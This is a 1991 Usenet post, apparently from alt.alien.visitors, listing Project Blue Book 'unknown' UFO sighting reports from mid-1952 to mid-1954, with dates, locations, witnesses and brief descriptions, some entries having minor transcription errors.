p.m. Witnesses: + Sgt. B.C. Grassmoen, WAC Pfc. A.P. Turner. One saucer-shaped + object having an appearance of light metal and giving off shafts + of white light, flew slow, made a 90^ turn and climbed away fast + after 4-5 minutes. + + July 28, 1952; McGuire AFB, New Jersey. 6 a.m. Witness: Ground + Control Approach radar operator M/Sgt. W.F. Dees, and persons in + the base control tower. Radar tracked a large cluster of very + distinct blips. Visual observation was of oblong objects having + neither wings nor tail, which made a very fast turn and at one + time were in echelon formation. Entire episode lasted 55 + minutes. + + July 28, 1952; McChord AFB, Washington. 2:15 a.m. Witnesses: + T/Sgt. Walstead, S/Sgt. Calkins of the 635th AC&W Squadron. One + dull, glowing, blue-green ball,.the size of a dime at arms' + length, flew very fast, straight and level. + + July 29, 1952; Osceola, Wisconsin. 1:30 a.m. Witnesses: radar + operators on ground, pilot of F-5l Mustang in flight. Several + clusters of up to 10 small radar targets and one large target. + Small targets moved from southwest to east at 50-60 kts. (60-70 + m.p.h.), following each other. The large one moved at 600 kts. + (700 m.p.h.). One hour total time. Pilot confirmed one target. + + July 29, 1952; Langley AFB, Virginia. 2:30 p.m. Witness: USAF + Capt D.G. Moore, of military air traffic control system. One + undescribed object flew at an estimated 2,600 m.p.h., below + 5,000' altitude, toward the air base for about 2 minutes. + + July 29, 1952; Langley AFB, Virginia. 2:50 p.m. Witnesses: Mr. + Moore, Gilfillan electronics representative W. Yhope. One radar + target tracked moving away, stopped for 2 minutes, again moved + very, very fast. Four minutes. + + July 29, 1952; Merced, California. 3:44 or 4:35 p.m. Witnesses: + Herbert Mitchell and one employee. One dark, discus-shaped + object, trailed by a silvery light 2 lengths behind, tipped on + its side, dove, hesitated and then circled very fast during the 2 + minute sighting. + + July 29, 1952; Wichita, Kansas. 12:35 p.m. Witnesses: USAF + shop employees Douglas and Hess at Municipal Airport. One bright + white circular object with a flat bottom flew very fast, and then + hovered 10-15 seconds over the Cessna Aircraft Co. plant, during + the 5 minute sighting. + + July 29, 1952; Ennis, Montana. 12:30 p.m. Witnesses: USAF + persons, alerted that UFOs were coming from the direction of + Seattle, Wash. Two to five flat disc-shaped objects: one + hovered 3-4 minutes, while the others circled it. Sighting + length of 30 minutes not explained further. + + July 30, 1952; Albuquerque, New Mexico. 11:02 p.m. Witness: + USAF lst Lt. George Funk. One orange light remained stationary + for 10 minutes. No further details in files. + + July 30, 1952; San Antonio, Texas. 10 a.m. Witnesses: E.E. Nye + and one other person. One round, white object flew slow and then + sped away after 20-30 minutes. + + Aug. 1, 1952; Lancaster, California. 1:14 a.m. Witnesses: + sheriff's deputies and other persons, one named Mallette. Two + brilliant red lights hovered and maneuvered for 5 minutes. + + Aug. 2, 1952; Lake Charles, Louisiana. 3 a.m. Witnesses: USAF + lst Lt. W.A. Theil, one enlisted man. One red ball with a blue + flame tail flew straight and level for 3-4 seconds. + + Aug. 4, 1952; Phoenix, Arizona. 2:20 a.m. Witness: USAF + A/3c W.F. Vain. One yellow ball which lengthened and narrowed to + plate shape, flew straight and level for 5 minutes. + + Aug. 4, 1952; Mt. Vernon, New York. 11:37 a.m. Witnesses: one + woman, two children. One object, shaped like a lifesaver or + donut, emitted black smoke from its top and made a 15' arc in 1.5 + minutes. Observed for 2 hours. + + Aug 5. 1952; Haneda AFB, Japan. 11:30 p.m. Witnesses: USAF + F-94 jet interceptor pilots lst Lt. W.R. Holder and lst Lt. A.M. + Jones, and Haneda control tower operators. Airborne radar + tracked a target for 90 seconds. Control tower operators watched + 50-60 minutes while a dark shape with a light flew as fast as 330 + kts. (380 m.p.h.), hovered, flew curves and performed a variety + of maneuvers. + + Aug. 6, 1952; Tokyo, Japan. This is a continuation of the Haneda + AFB sightings. + + Aug. 6, 1952; Port Austin, Michigan. Case missing from official + files. + + Aug. 7. 1952; San Antonio, Texas. 9:08 a.m. Witness: Mrs. + Susan Pfuhl. Four glowing white discs: one made a 180* turn, + one flew straight and level, one veered off, and one circled + during the 70 minute sighting. + + Aug. 9, 1952; Lake Charles, Louisiana. 10:50 a.m. Witness: + USAF A/3c J.P. Raley. One disc-shaped object flew very fast and + then hovered for 2 seconds during a 5-6 minute sighting. + + Aug. 13, 1952; Tokyo, Japan. 9:45 p.m. Witness: USAF Marine + Corps pilot Maj. D. McGough. One orange light flew a left orbit + at 8,000' and 230 m.p.h., spiralled down to no more than 1,500', + remained stationary for 2-3 minutes and went out. An attempted + interception was unsuccessful. + + Aug. 18, 1952; Fairfield, California. 12:50 a.m. Witnesses: + three policemen. One object changed color like a diamond, and + changed directions during the 30 minute sighting. + + Aug. 19, 1952; Red Bluff, California. 2:38 p.m. Witness: + Ground Observer Corps observer Albert Lathrop. Two objects, + shaped like fat bullets, flew straight and level, very fast for + 25 seconds. + + Aug. 20, 1952; Neffesville, Pennsylvania. 3:10 a.m. Witnesses: + Bill Ford and two others. An undescribed object flew at 500' + altitude for several minutes. No further data in files. + + Aug. 21, 1952; Dallas, Texas. 11:54 p.m. Witness: Jack Rossen, + ex-artillery observer. Three blue-white lights hovered then + descended; 1.5 minutes later, one of them descended more. + + Aug. 23, 1952; Akron, Ohio. 4:10 a.m. Witnesses: USAF 2nd Lt. + H.K. Funseth, a ground radar observer, and two U.S. Navy men. + One pulsing amber light was seen to fly straight and level for 7 + minutes. + + Aug. 24, 1952; Hermanas, Mexico. 10:15 a.m. Witness: Georgia + Air National Guard F-84G jet fighter pilot Col. G.W. Johnson. + Two 6' silver balls in abreast formation, one turned grey + rapidly, the other slowly. One changed to long grey shape during + a turn. Sighting lasted about 10 minutes. + + Aug. 24, 1952; Tucson, Arizona. 5:40 p.m. Witnesses: Mr. and + Mrs. George White. One large round, metallic, white light with a + vague lower surface, flew slowly, then fast With a dancing, + wavering motion, for about 1 minute. + + Aug. 24, 1952; Levelland, Texas. 9:30 p.m., 10:30 p.m. + Witnesses: Mr. and Mrs. Elmer Sharp. One object, shaped like a + spinning top, changing color from red to yellow to blue, and with + a fiery tail, hovered for 20 minutes, whistling, then flew away. + It, or another like it, returned an hour later. + + Aug. 25, 1952; Pittsburg, Kansas. 5:35 a.m. Witness: radio + station musician William Squyres. One dull aluminum object, + shaped like two meat platters, face to face, estimated at 75' + long, 45' wide, and 15' thick. Through a window in the front + section shone a blue light; the head and shoulders of a man could + be seen. The mid section had numerous windows through which + could be seen some kind of regular movement. A series of small + propellers were spaced close together along the outer edge of the + object, revolving at high speed. The object was hovering about + 10' above the ground, 100 yards off the road, with a slight + rocking motion. It then ascended vertically with a sound like a + large covey of quail starting to fly at the same time. + Vegetation showed signs of having been disturbed under the + object. + + Aug. 25, 1952; Holloman AFB, New Mexico. 3:40 p.m. Witnesses: + civilian supervisor Fred Lee, foreman L.A. Aquilar. One round + silver object flew south, turned and flew north, made a 360 turn + and flew away vertically after 3-5 minutes. + + Aug. 26, 1952; Lathrop Wells, Nevada. 12:10 a.m. Witness: USAF + Capt. D.A. Woods. One large, round, very bright object with a + V-shaped contrail having a dark cone in the center, flew very + fast, hovered, made an instantaneous 90 turn, followed by a + gentle climb and finally sudden acceleration. + + Aug. 28, 1952; Chickasaw and Brookley AFB, Alabama. 9:30 p.m. + Witnesses: USAF control tower operators, officer from USAF + Office of Special Investigations, and others. Six objects, + varying from fiery red to sparkling diamond appearance, hovered, + flew erratically up and down for 1 hour and l5minutes. + + Aug. 29, 1952; Colorado Springs, Colorado. 8:35 p.m. Witness: + pilot C.A. Magruder. Three objects, 50' in diameter, 10' high, + aluminum with red-yellow exhaust, flew in trail at estimated + 1,500 m.p.h. for 4-5 seconds. + + Aug. 29, 1952; west of Thule, Greenland (77' N., 75* 15' W.) + 10:50 a.m. Witnesses: two U.S. Navy pilots flying a P4Y-2 + patrol plane. Three white disc-shaped or spherical objects + hovered, then flew very fast in a triangular formation, in 2-3 + minutes. + + Sept. l, 1952; Marietta, Georgia. 10:50 p.m. Witness: ex-AAF + B-25 gunner. Two large white disc-shaped objects with green + vapor trails flew in trail formation, merged, flew away very + fast. + + Sept. 1, 1952; Marietta, Georgia. 10:30 p.m. Witness: one + unidentified person using binoculars. Two large objects shaped + like spinning tops and displaying red, blue and green colors, + flew side by side, leaving a sparkling trail for 30 minutes. + + + Sept. 1, 1952; Atlanta, Georgia. 9:43 p.m. Witnesses: Mrs. + William Davis and nine other persons. One light, similar to the + evening star, moved up and down for a long period of time. + + Sept. l, 1952; Marietta, Georgia. 10:30 p.m. Witnesses: Mr. + Bowman (ex-artillery officer) and 24 others. A red, white, and + blue-green object which spun and shot off sparks for 15 minutes. + + Sept. 1, 1952; Yaak, Montana. 4:45 a.m. Witnesses: Visual + sighting by two USAF enlisted men, radar tracking seen by three + men using AN/FPS-3 radar set. Two small, varicolored lights + became black silhouettes at dawn; flew erratically. One hour. + + Sept. 2, 1952; Chicago, Illinois. 3 a.m. Witness: radar + tracker Turason (ground controlled approach) at Midway Airport. + 40 targets flew in miscellaneous directions, up to 175 m.p.h. + Two seemed to fly in formation with DC-6 airliner. Total of + 8 hours. + + Sept. 3, 1952; Tucson, Arizona. 99 a.m. Witnesses: civilian + pilots McCraven and Thomas. One shiny, dark ellipse made three + broad, curving sweeps in 1.5 minutes. + + Sept. 6, 1952; Lake Charles AFB, Louisiana. l:3O'a.m. + Witnesses: T/Sgt. J.E. Wilson and two enlisted men. One bright + star-like light moved about the sky for 2 hours. + + Sept. 6, 1952; Tucson, Arizona. 4:55 p.m. Witnesses: ex- + Congresswoman Mrs. Isabella King and Bill McClain. One orange + teardrop-shaped object whirled on its vertical axis, descended + very fast, stopped, retraced its path upwards, while whirling in + the opposite direction. 1.5 minutes. + + Sept. 7, 1952; San Antonio, Texas. 10:30 p.m. Witnesses: + chemist J.W. Gibson and others. One orange object or light (the + color of 2,000' F.) exploded into view. Seen for from 3-20 + seconds by various observers. + + Sept. 9, 1952; Rabat, French Morocco. 9 p.m. Witness: E.J. + colisimo, a civilian illustrator with USAF Intelligence. One + disc with lights along part of its circumference, flew twice as + fast as a T-33 jet trainer, in a slightly curved path for 5 + seconds. + + Sept. 12, 1952; Allen, Maryland. 9:30 p.m. Witnesses: Mr. and + Mrs. David Kolb, of the Ground Observer Corps, using binoculars. + One white light with a red trim and streamers flew northeast for + 35 minutes. + + Sept. 13, 1952; Allentown, Pennsylvania. 7:40 p.m. Witness: + private pilot W.A. Hobler, flying a Beech Bonanza. One object, + shaped like a fat football, flaming orange-red color, descended + and then pulled up in front of the witness' airplane. Seen for 2 + seconds. + + Sept. 14, 1952; Santa Barbara, California. 8:40 p.m. Witness: + USAF C-54 transport pilot Tarbutton. One blue-white light + travelled straight and level, then went up. Seen for 30 seconds. + + Sept. 14, 1952; North Atlantic, between Ireland and Iceland. + Witnesses: military persons from several countries aboard ships + in the NATO "Operation Mainbrace" exercise. Among the sightings: + one blue-green triangle was observed flying 1,500 m.p.h; three + objects in a triangular formation gave off white light exhaust at + 1,500 m.p.h. + + Sept. 14, 1952; White Lake, South Dakota. 7 p.m. Witness: + Ground Observer Corps observer L.W. Barnes, using binoculars. + One red, cigar-shaped object, with three puffs behind it, flew + west, then south, and then was gone. Seen 30-40 minutes. + + Sept. 14, 1952; Ciudad Jaurez, Mexico. 11:30 p.m. to 1:20 a.m., + Sept. 15. Witnesses: consulting engineer R. J. Portis and three + others. Six groups of 12-15 luminous spheres or discs, which + flew in formations varying from arcs to inverted-Y's, very fast. + + Sept. 14, 1952; Olmstead AFB, Pennsylvania. Time not known. + Witness: pilot of Flying Tiger Airlines airplane N67977. One + blue light flew very fast on a collision course with the + airliner. Note: the summary card attached to the file showed + completely different information. + + Sept. 16, 1952; Portland, Maine. 6:22 p.m. Witnesses: crew of + U.S. Navy P2V Neptune patrol plane, visually and via radar. A + group of five lights was seen at the same time a long, thin blip + was being tracked on radar. Note: consideration was given to + this being USAF KC-97 airplanes involved in a refueling + operation. The sighting involved 20 minutes. + + Sept. 16, 1952; Warner-Robbins AFB, Georgia. 7:30 p.m. + Witnesses: three USAF officers, two civilians. Two white lights + flew abreast, at 100 m.p.h., for 15 minutes. + + Sept. 17, 1952; Tucson, Arizona. 11:40 a.m. Witnesses: Mr. and + Mrs. Ted Hollingsworth. Two groups of three large, flat, shiny + objects flew in tight formations: the first group slow, the + second faster. Seen for 2 minutes. + + Sept. 23, 1952; Gander Lake, Newfoundland, Canada. No time + shown. Witnesses: Pepperell AFB operations officer and seven + other campers. One bright white light, which reflected on the + lake, flew straight and level at 100 m.p.h. for 10 minutes. + + Sept. 24, 1952; Charleston, West Virginia. 3:30 p.m. Witnesses: + crew of USAF B-29 bomber. A lot of bright, metallic particles or + flashes, up to 3' in length, streamed past the B-29 for 15 + minutes. + + Sept. 26, 1952; 400 miles NNW of Azores Islands. 11:16 p.m. + Witnesses: pilot, copilot, engineer and aircraft commander of + USAF C-124 transport plane. Two distinct green lights were seen + to the right and slightly above the C-124, and at one time seemed + to turn toward it. The lights alternated leading each other + during more than 1 hour of observation. + + Sept. 27, 1952; Inyokern, California. 10 p.m. Witnesses: two + couples, using a 5x telescope. One large, round object, which + went through the color spectrum every 2 seconds, was seen to fly + straight and level for 15 minutes. + + Sept. 29, 1952; Rochester, England. 3:55 p.m. Witnesses + unknown, but report came via the Rochester Police Dept. Two flat + objects hovered for 3 minutes, and then sped away. + + Sept. 29, 1952; Southern Pines, North Carolina. 8:15 p.m. + Witnesses: U.S. Army Res. lst Lt. C.H. Stevens and two others. + One green ellipse with a long tail orbited for 15 minutes. + + Sept. 29, 1952; Aurora, Colorado. 3:15 p.m. Witness: USAF + T/Sgt. B.R. Hughes. Five or six circular objects, bright white + but not shiny, circled in trail formation for 5-6 minutes. + + Oct. 1, 1952; Shaw AFB, South Carolina. 6:57 p.m. Witness: + USAF lst Lt. T.J. Pointek, pilot of RF-8O reconnaissance jet. One + bright white light flew straight, then vertical, then hovered, + and then made an abrupt turn during a 23 minute attempted + intercept. + + Oct. 1, 1952; Pascagoula, Mississippi. 7:40 p.m. Witnesses: + Mr. and Mrs. C.C. McLean and one other person. One round, + milky-white object, shaped like a powder puff, hovered for 5-10 + minutes then flew away very fast in an arc. A loud blast was + heard at the start of the 22 minute sighting. + + Oct. 7, 1952; Alamagordo, New Mexico. 8:30 p.m. Witness: USAF + Lt. Bagnell. One pale blue oval, with its long axis vertical, + flew straight and level for 4-5 seconds, covering 30 in that + time. + + Oct. 10, 1952; Otis AFB, Massachusetts. 6:30 p.m. Witnesses: + USAF S/Sgt., two other enlisted men. One blinking white light + moved like a pendulum for 20 minutes, and then shot straight up. + + Oct. 17, 1952; Taos, New Mexico. 9:15 p.m. Witnesses: Four + USAF officers One round, bright blue light moved from north to + northeast at an elevation of 45* for 2-3 seconds and then burned + out. + + Oct. 17, 1952; Killeen, Texas. 10:15 p.m. Witnesses: Ministers + Greenwalt and Kluck. Ten lights, or a rectangle of lights, moved + more or less straight and level for 5 seconds. + + Oct. 17, 1952; Tierra Amarilla, New Mexico. 11 p.m. Witness: + one military person (no detail). One white streamer moved at an + estimated 3,000 m.p.h. in an arc for 20 seconds. No further + details in files. + + Oct. 19, 1952; San Antonio, Texas. 1:30 p.m. Witness: one + ex-USAF aircrewman Woolsey. Three circular aluminum objects, one + of which was olive-drab colored on the side, flew in a rough + V-formation. One object flipped slowly, another object stopped, + during the 3-4 minute sighting. + + Oct. 19. 1952; 500 miles south of Hawaii. 6:58 p.m. Witnesses: + crew of USAF C-50 transport plane. One round yellow light, with + a red glowing edge, estimated at 100' in diameter, flew at + 300-400 kts. (350-450 m.p.h.) for 20 seconds. + + Oct. 21, 1952; Knoxville, Tennessee. No time given. Witnesses: + persons at airport weather station. Six white lights flew in a + loose formation for 1-2 minutes, and made a shallow dive at a + weather balloon. + + Oct. 24, 1952; Elberton, Alabama. 8:26 p.m. Witnesses: USAF + Lt. Rau, Capt. Marcinko, flying a Beech T-ll trainer. One + object, shaped like a plate, with a brilliant front and vague + trail, flew with its concave surface forward for 5 seconds. + + Oct. 29, 1952; Erding Air Depot, West Germany. 7:50 a.m. + Witnesses: USAF S/Sgt. Anderson, A/2c Max Handy. One round + object, silhouetted against a cloud, flew straight and level and + smooth at 400 m.p.h. for 20 seconds. + + Oct. 31, 1952; Fayetteville, Georgia. 7:40 p.m. Witness: USAF + Lt. James Allen. One orange, blimp-shaped object, 80' long and + 20' high, flew at treetop level, crossed over Allen's car (at + which time his radio stopped playing), then climbed out at 45' + and tremendous speed at the end of a 1 minute sighting. + + Nov. 3, 1952; Laredo AFB, Texas. 66:29 p.m. Witnesses: two + control tower operators, including Lemaster. One long, + elliptical, white-grey light flew very fast, paused, and then + increased speed during a 3-4 second observation. + + Nov. 4, 1952; Vineland, New Jersey. 5:40 p.m. Witness: + housewife Mrs. Sprague. Two groups of 2-3 whirling discs of + light flew toward the southeast over a period of 30 seconds. + + Nov. 12, 1952; Los Alamos, New Mexico. 10:23 p.m. Witness: + security inspector. Four red-white-green lights flew slowly over + a prohibited area for 15 minutes. + + Nov. 13, 1952; Opheim, Montana. 2:20 a.m. Witness: radar + tracking by USAF 779th AC&W station. An unexplained track was + followed for 1 hour, 28 minutes, at 158,000' altitude (30 miles) + and a speed of 240 m.p.h. Radar was FPS/3 (PPI). + + Nov. 13, 1952; Glasgow, Montana. 2:43 a.m. Witness: U.S. + Weather Bureau observer Earl Oksendahl. Five oval-shaped + objects, with lights all around them, flew in a V-formation for + about 20 seconds. Each object seemed to be changing position + vertically by climbing or diving as if to hold formation. + Formation came from the northwest, made a 90* overhead, and flew + away to the southwest. + + Nov. 15, 1952; Wichita, Kansas. 7:02 a.m. Witnesses: USAF Maj. + R.L. Wallander, Capt. Belleman, A/3c Phipps. One orange object + (a blue streak?) varied in shape, as it made jerky upward sweeps + with 10-15 second pauses during a 3-5 minute sighting. + + Nov. 24, 1952; Annandale, Virginia. 6:30 p.m. Witness: L.L' + Brettner. One round, glowing object flew very fast, made right + angle turns and reversed course during a 1 hour sighting. + + Nov. 27, 1952; Albuquerque, New Mexico. 12:10 p.m. Witnesses: + pilot and crew chief of UAAF B-26 bomber. A series of black + smoke bursts (4-3-3-4-3), similar to antiaircraft fire, was seen + over a 20 minute period.C. 12:30 a.m. Witnesses: radar + + Nov. 30, 1952; Washington, D.C. l + operators at Washington National Airport. Radar trackings + similar to those of July 26, 1952. + + Dec. 8, 1952; Ladd AFB, Alaska. 8:16 p.m. Witnesses: pilot lst + Lt. D. Dickman and radar operator lst Lt. T. Davies in USAF F-94 + jet interceptor (s/n 49-2522). One white, oval light which + changed to red at higher altitude, flew straight and level for 2 + minutes, then climbed at phenomenal speed on an erratic flight + path. Sighting lasted 10 minutes. + + Dec. 9, 1952; Madison, Wisconsin. 5:45 p.m. Witnesses: Capt. + Bridges and lst Lt. Johneon in USAF T-33 jet trainer. Four + bright lights, in diamond formation, flew at 400 m.p.h. and were + passed by the T-33 at 450 m.p.h. during the 10 minute sighting. + + Dec. 28, 1952; Marysville, California. Case missing from + official files. + +-------Continued in Bluebook Part 4 ------------------------------------ + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" +Path: uuwest!spies!apple!usc!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 4 +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.021915.15773@bilver.uucp> +Date: 4 Jul 91 02:19:15 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 477 + + + +--------Bluebook Part 4 --------------------------------------------- + + + Jan. 1, 1953; Craig, Montana. 8:45 p.m. Witnesses: Warner + Anderson and two women. A silver, saucer-shaped object with a + red glowing bottom, flew low over a river and then climbed fast + in a horizontal attitude. Ten second sighting. + + Jan. 8, 1953; Larson AFB, Washington. 7:15 a.m. Witnesses: men + from the 82nd Fighter-Interceptor Squadron, including the + squadron commander; all were on the ground. One green, disc- + shaped or round object flew southwest for 15 minutes, with a + vertically bobbing motion and sideways movements, below clouds. + + Jan. 10, 1953; Sonoma, California. 3:45 p.m. or 4 p.m. + Witnesses: retired Col. Robert McNab, and Mr. Hunter of the + Federal Security Agency. One flat object, like a pinhead, made + three 360* right turns in 9 seconds, made abrupt 90* turns to the + right and left, stopped, accelerated to original speed and + finally flew out of sight vertically after 60-75 seconds. + + Jan. 17, 1953; near Guatemala City, Guatemala. 3:55 p.m. + Witness: geologist/salesman J.J. Sackett. One brilliant + green-gold object, shaped like the Goodyear blimp with its length + twice its height, flew 400 m.p.h. straight and level, stopped, + then went straight up with one stop. Sighting lasted 22 seconds. + + Jan. 28, 1953; Pt. Mugu, California. 1 p.m. Witness: R.W. + Love, owner of Love Diving Co., engaged in retrieving radio- + controlled drones. An 18-20' white, flat disc flew straight and + level, overhead, for 6 minutes. + + Jan. 28, 1953; Corona, California. 6:05 p.m. Witness: USAF + T/Sgt. George Beyer. Five 25' green spheres flew in V-formation, + then changed to trail formation at which time the end objects + turned red. Sighting lasted 12 minutes. + + Jan. 28, 1953; Albany, Georgia. No time given. Witnesses: + radar maintenance personnel. Radar tracked one stationary target + for 20 minutes. A visual sighting about the same time was + explained. No further information in the files. + + Feb. 3, 1953; Keflavik, Iceland. 5:25 p.m. Witnesses: radar + operators. Four unidentified targets were tracked for 24 + minutes. No further data. + + Feb. 4, 1953; Yuma, Arizona. 1:50 p.m. Witness: U.S. Weather + Bureau observer Stanley Brown, using a theodolite. One white, + oblong object was tracked flying straight up, leveling off and + being joined by a second, similar, object. The second twice flew + away and returned to the first. After 5 minutes, both were lost + to sight behind clouds. + + Feb. 17, 1953; Port Austin. Michigan. 10:04 p.m. Witnesses: + two officers and three airmen of USAF AC&W squadron, visually and + by radar. Visual object appeared to larger and brighter than a + star and changed color; it was seen to move slowly for 5 minutes + until 10:09 p.m. Radar picked up a target at 10:08 p.m. moving + in a similar direction for 17 minutes, at similar speed. + + Feb. 20, 1953; Pittsburg-Stockton, California. #1 time unknown; + #2, 10:30 p.m. Witnesses: USAF B-25 bomber pilots. #1 was a + bright yellow light seen for 8 minutes. #2 was a bright light + which flew on a collision course, dimmed and climbed away fast. + + Feb. 24, 1953; Sherman, Texas. 7:43 p.m. Witnesses: Warrant + Officer and Mrs. Alden. Two bright red, round objects with big + halos flew in small circles, climbed and faded during a 3-7 + second sighting. + + Feb. 27, 1953; Shreveport, Louisiana. 11:58 a.m. Witness: USAF + airman/private pilot. Five yellow discs made circular turns, + fluttered, three of them vanished, the other two flew erratic + square turns for a total of 4 minutes. + + March 11, 1953; Hackettstown, New Jersey. 4 a.m. Witness: Mrs. + Nina Cook, an experienced private pilot and wife of a Pan Am + flight engineer. A large light, blinking at 10-15 times per + minute, moved up and down along a mountain range. + + March 14, 1953; north of Hiroshima, Japan. 11:45 p.m. + Witnesses: radar and visual observation by 10 crew members of + U.S. Navy P2V-5 patrol plane. Groups of 5-10 colored lights, + totalling 90-100, slowly moved aft off the left side of the + airplane, as detected visually and by airborne radar for 5 + minutes. + + March 21, 1953; Elmira, New York. 3:05 p.m. Witness: Ground + Observer Corps observation post. Six discs in a group flew high + and fast for a few seconds. + + March 25, 1953; San Antonio, Texas. 3:05 p.m. Witnesses: USAF + Capt. and Mrs. D.E. Cox. Several lights, some of which moved + straight, others which made 360^ turns for 1.5 hours. + + March 27, 1953; Mt. Taylor, New Mexico. 7:25 p.m. Witness: + pilot of USAF F-86 jet fighter at 600 kts. (700 m.p.h.). One + bright orange circle flew at 800 kts. (900 m.p.h.), and executed + three fast rolls. Pilot chased object for 4 minutes. + + March 29, 1953; Spooner, Wisconsin. 3:45 p.m. Witness: L.C. + Gillette. One aluminum, circular object flew high and fast, + twice reversing its course. Note: Mr. Gillette saw a similar + object in 1938. Fifteen second sighting. + + April 8, 1953; Fukuoka, Japan. 7:55 p.m. Witness: lst Lt. D.J. + Pichon, pilot of USAF F-94B jet interceptor. One bright blue + light descended, accelerated, flew parallel to the F-94, + increased its speed and blinked out after 45 seconds. + + April 15, 1953; Tucson, Arizona. 5:45 p.m. Witness: S/Sgt. + V.A. Locey. Three orange lights were seen for: 3 minutes, 30 + seconds, and a few seconds. + + May 1, 1953; Goose AFB, Labrador, Canada. 11:35 p.m. Witnesses: + pilot and radar operator of USAF F-94 jet interceptor, and + control tower operator. One white light evaded interception + attempt by F-94 during 30 minute sighting. + + May 27, 1953; San Antonio, Texas. 8:30 p.m. Witnesses: many + unidentified civilians, including Jacobson. Nine separate + meandering lights were seen during 15 minute sighting. + + June 21, 1953; Naha, Okinawa. 7 p.m. Witnesses: Nine Japanese + and Okinawan weather observers. One unidentified light moved + slowly for 20 minutes. No further data in files. + + June 22, 1953; Goose AFB, Labrador, Canada. Z:lO a.m. + Witnesses: pilot and radar operator of USAF F-94 jet + interceptor. One red light, flying at an estimated 1,000 kts. + (1,100 m.p.h.) eluded the chasing F-94 after 5 minutes. + + June 24, 1953; Iwo Jima, Bonin Islands. 11:30 p.m. Witnesses: + crew of USAF KB-29 aerial tanker plane. Radar tracked an + unidentified target which twice approached to within .5 miles of + the airplane, and once to within 6 miles, during a 2 minute + observation. + + June 24, 1953; Simiutak, Greenland. 11:30 a.m. Witness: + weather observer A/2c R.A. Hill. One red triangle hovered and + rotated for 15 seconds, then climbed for 5 minutes. + + Aug. 3, 1953; Amarillo, Texas. 12:04 p.m. Witness: Airport + control tower chief C.S. Brown. One round and reflective or + translucent object flew straight, stopped for 7 seconds, sped + along, stopped again, was joined by a similar object and they + flew off in different directions, after a total of 56 minutes. + + Aug. 20, 1953; near Castle AFB, California. 9:05 p.m. + Witnesses: crew of TB-29 bomber/trainer plane. One greyish oval + object made four passes at the airplane (three times at 10-20 + miles distance), then dived vertically as if two objects. + + Aug. 27, 1953; Greenville, Mississippi. 9:45 p.m. Witnesses: + USAF pilot, M/Sgt., others, all on the ground. One meandering + light was observed for 50 minutes. No further details in file. + + Sept. 2, 1953; Sidi Slimane AFB, French Morocco. 9:14 p.m. + Witnesses: Lt. Col. William Moore and lst Lt. J.H. McInnis, + Dec. 24, 1953; El Cajon, California. 8:04 a.m. Witnesses: U.S. + Navy Lts. J.B. Howard and L.D. Linhard, flying F9F-2 jet + fighters. Ten silver, oval objects flew at more than 400 kts. + (450 m.p.h.), straight and level, for 5 minutes. + + Dec. 28, 1953; Marysville, California. 11:55 a.m. Witness: + Yuba County Airport Manager Dick Brandt. One saucer, with a + brilliant blue light, reflecting on a nearby building, hovered + briefly during the 1.5 minute observation. + + Jan. 28, 1954; Rangeley, Maine. 110-10:15 a.m. Witness: Wilhelm + Reich. Two bright lights moved into valley, and were seen + against the mountain background, for 15 minutes. + + Feb. 26, 1954; Newburyport, Massachusetts. 2:30 p.m. Witnesses: + architect R.M. Pierce, marine engineer George Avery and one other + person. One silver disc, with a white trail, made a loud roar + for 30-60 seconds. + + March 2, 1954; vicinity of Harrisburg, Pennsylvania. 10 p.m. + Witness: research engineer R.C. Swengel. Three objects, each + with two lights, flew straight and level at medium speed for an + unknown length of time. + + March 5, 1954; Nouasseur, French Morocco. 8 p.m. Witnesses: + crews of USAF KC-97 aerial tanker planes. One object or light + made passes at KC-97s, the other flew straight and level. + Sighting duration unknown. + + March 12, 1954; Nouasseur, French Morocco. 9:35 a.m. Witness: + USAF lst Lt. Robert Johnson, flying an F-86 jet fighter. He + chased an object at more than 530 m.p.h. for 30 seconds, but was + unable to catch it. It appeared to be the size of a fighter + plane but had neither tanks nor trails. + + April 8, 1954; Chicago, Illinois. 4:30 p.m. Witness: Lelah + Stoker. One white round-topped disc, with a humanoid suspended + beneath it, skimmed over the water, landed, and an occupant in a + green suit walked around. It then took off very, very fast. + Sighting lasted 30 minutes. + + April 23, 1954; Pittsfield, Maine. 9:30 a.m. Witnesses: Mr. + and Mrs. F.E. Robinson. One silver dollar-shaped object with a + dome and a flashing light made a sound like a swarm of bees. It + hovered and tilted, flew horizontally, then rose vertically + without tilting. Stones underneath it moved. Four minute + sighting. + + April 24, 1954; Hartland, Maine. 6:10 p.m. Witness: D. + Robinson. One large, silver, oblong object with a dome and a + flashing light flew straight and level and then straight up. + Total of 15 minutes under observation. + + April 26, 1954; Athens, Georgia. 7:35 p.m. Witnesses: C. + Cartey, Mr. and Mrs. H. Hopkins and their daughter. Fifteen to + twenty yellow objects in a V-formation, flew from south to north + for 10 seconds. + + May 10, 1954; Elsinore, California. 12:40 p.m. Witness: U.S. + Marine Corps Squadron Leader D.R. Higgin, flying an F3D-2 jet + fighter. One dark gunmetal delta-shaped object, 22' long and 10' + wide, with a fin on the top, descended at a 25-30' angle under + the lead airplane of a formation, and over the airplane of + Higgin. Sighting lasted a few seconds. + + May 11, 1954; Washington, D.C. 10:45 p.m. Witnesses: three + USAF.air policemen at Washington National Airport. Two bright + lights were seen on three occasions to fly straight and level, + make 90* turns and fade. Each sighting lasted about 45 seconds. + + May 22, 1954; LaPorte, Indiana. 9:15 p.m. Witnesses: highway + engineer R.W. Dring, engineer Geert Tibma. One bright light made + a shallow climb for 45 seconds. + + May 31, 1954; Concord, New Hampshire. 10:15 a.m. Witness: Mrs. + L.K. Stevens. One very white, elongated object flew very, very + fast, and then blinked out after 8-10 seconds. + + June 1, 1954; from 400 miles south to Minneapolis, Minnesota. + 9 p.m. Witnesses: crew of USAF B-47 jet bomber at 34,000' + altitude. One object with running lights flew at 24-44,000' + altitude for 1 hour. + + June 8, 1954; Texarkana, Texas. 1 a.m. or 2:30 a.m. (file not + clear). Witness: L.T. Prewitt, employee of Red River Arsenal. + One golden yellow light flew over 